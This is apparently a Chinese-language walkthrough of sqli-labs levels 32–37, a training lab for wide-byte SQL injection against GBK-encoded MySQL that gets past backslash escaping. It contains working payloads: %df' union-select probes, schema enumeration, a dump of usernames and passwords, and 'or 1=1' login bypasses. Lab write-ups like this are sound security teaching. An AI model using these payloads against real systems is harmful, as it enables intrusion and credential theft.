SQL注入详解 32-37关

目录

    • Less-32(宽字节注入——union联合)
    • Less-33(宽字节注入——union联合)
    • Less-34(POST类型宽字节注入)
    • Less-35(数字型宽字节注入)
    • Less-36(宽字节注入)
    • Less-37(POST类型宽字节注入)

Less-32(宽字节注入——union联合)

第32关总结:
32关对输入进的单引号及双引号进行了反斜杠转义,我们需要进行宽字节注入,宽字节注入的原理:数据库编码必须是utf-8,gbkb等,不能为ascii编码,\编码为%5c,使用%df与%5c进行拼接,形成%df%5c(一个汉字),变成了一个有多个字符,从而闭合了单引号

  1. 确定注入类型
1'")

从显示结果可以看出来这里对单引号与双引号进行了反斜杠转义,我们首先就会想到宽字节注入
SQL注入详解 32-37关_第1张图片

1%df'
2%df' and 1=1--+
2%df' and 1=2--+

判断出这里为单引号注入类型
SQL注入详解 32-37关_第2张图片
SQL注入详解 32-37关_第3张图片
SQL注入详解 32-37关_第4张图片

  1. 判断注入字段数及显示位置
1%df' order by 3--+

SQL注入详解 32-37关_第5张图片

-1%df' union select 1,2,3--+

SQL注入详解 32-37关_第6张图片

  1. 查看当前数据库
    SQL注入详解 32-37关_第7张图片
  2. 爆表
    这里我们应该注意:数据库名可以用十六进制格式表示,也可以用database()表示,当在爆列过程中我们只能用十六进制格式表示
    SQL注入详解 32-37关_第8张图片
  3. 爆列
    这里我们可以将列名转换为十六进制格式,也可以将查询该表名的语句代入
-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit  3,1)--+

SQL注入详解 32-37关_第9张图片

  1. 查询数据信息
-2%df' union select 1,group_concat(username),group_concat(password) from users--+

SQL注入详解 32-37关_第10张图片

32关源码:
SQL注入详解 32-37关_第11张图片

Less-33(宽字节注入——union联合)

第33关总结:
这关与32关都为宽字节注入,只是在源代码使用的函数不同。32关使用preg_replace()函数对输入字符进行查找替换,33关使用addslashes()函数对输入的字符添加反斜杠

  1. 确定注入类型
    通过验证,这关也存在反斜杠转义
    SQL注入详解 32-37关_第12张图片
    SQL注入详解 32-37关_第13张图片
    SQL注入详解 32-37关_第14张图片
    SQL注入详解 32-37关_第15张图片
    注入过程中发现与32关的注入语句是一样的

  2. 查看源码发现不同点
    这里使用了addslashes()函数,这个函数就是添加反斜杠函数
    SQL注入详解 32-37关_第16张图片

Less-34(POST类型宽字节注入)

第34关总结:
首先这关是POST传参形式,也是宽字节注入,和前面一样

  1. 确定注入类型
    通过验证此处存在反斜杠转义
    SQL注入详解 32-37关_第17张图片

SQL注入详解 32-37关_第18张图片
使用万能密码进入

admin%df' or 1=1#

SQL注入详解 32-37关_第19张图片
发现为单引号字符型

  1. 判断注入字段数及显示位置
    由于我们始终用户名输入的都是admin�,所以我们不能用order by此时来判断,只能依靠select逐个判断
admin%df' union select 1#
admin%df' union select 1,2#

SQL注入详解 32-37关_第20张图片
SQL注入详解 32-37关_第21张图片

  1. 查看当前数据库
admin%df' union select 1,database()#

SQL注入详解 32-37关_第22张图片
剩余的注入步骤与前面关卡相同

  1. 查看源码,这里使用了addslashes()函数
    SQL注入详解 32-37关_第23张图片

Less-35(数字型宽字节注入)

第35关总结:
这里为数字型sql注入,对输入的字符同样做反斜杠处理,也是宽字节注入,比前面宽字节注入关卡稍微简单一些

  1. 确定注入类型

对输入进来的字符进行了反斜杠处理
SQL注入详解 32-37关_第24张图片

2 and 1=1--+
2 and 1=2--+

SQL注入详解 32-37关_第25张图片

SQL注入详解 32-37关_第26张图片
数字型注入

  1. 查看当前数据库
    SQL注入详解 32-37关_第27张图片
    下面操作与前面关卡相同

  2. 查看源码
    SQL注入详解 32-37关_第28张图片

Less-36(宽字节注入)

第36关总结:
这里也是单引号字符型注入,需要使用宽字节注入来进行绕过。只是源码中的函数不同

  1. 确定注入类型
    存在反斜杠转义
    SQL注入详解 32-37关_第29张图片
2%df' and 1=1--+
2%df' and 1=2--+

SQL注入详解 32-37关_第30张图片
SQL注入详解 32-37关_第31张图片
通过注入发现,这里和前面关卡一样。单引号字符型注入,需要使用宽字节注入来进行绕过。只是源码中的函数不同

  1. 查看源码

函数mysql_real_escape_string()
作用: 转义 SQL 语句中使用的字符串中的特殊字符

下列字符受影响:

\x00
\n
\r


"
\x1a

SQL注入详解 32-37关_第32张图片

Less-37(POST类型宽字节注入)

第37关总结:
37关为POST注入类型,只是源码中的函数变为mysql_real_escape_string(),用于转义 SQL 语句中使用的字符串中的特殊字符

  1. 判断注入类型

通过测试发现,具有反斜杠转义
SQL注入详解 32-37关_第33张图片
通过报错可以看出是单引号注入类型

admin%df'%df")

SQL注入详解 32-37关_第34张图片
万能密码成功进入
SQL注入详解 32-37关_第35张图片

  1. 判断注入字段数及显示位置
admin%df' union select 111111,222222#

SQL注入详解 32-37关_第36张图片

  1. 查看数据库名
    SQL注入详解 32-37关_第37张图片
    剩余的注入操作与前面相同
  2. 查看源码
    函数mysql_real_escape_string()
    作用: 转义 SQL 语句中使用的字符串中的特殊字符

下列字符受影响:

\x00
\n
\r


"
\x1a
SQL注入详解 32-37关_第38张图片

你可能感兴趣的:(Mysql注入天书,sql,数据库,mysql,安全漏洞)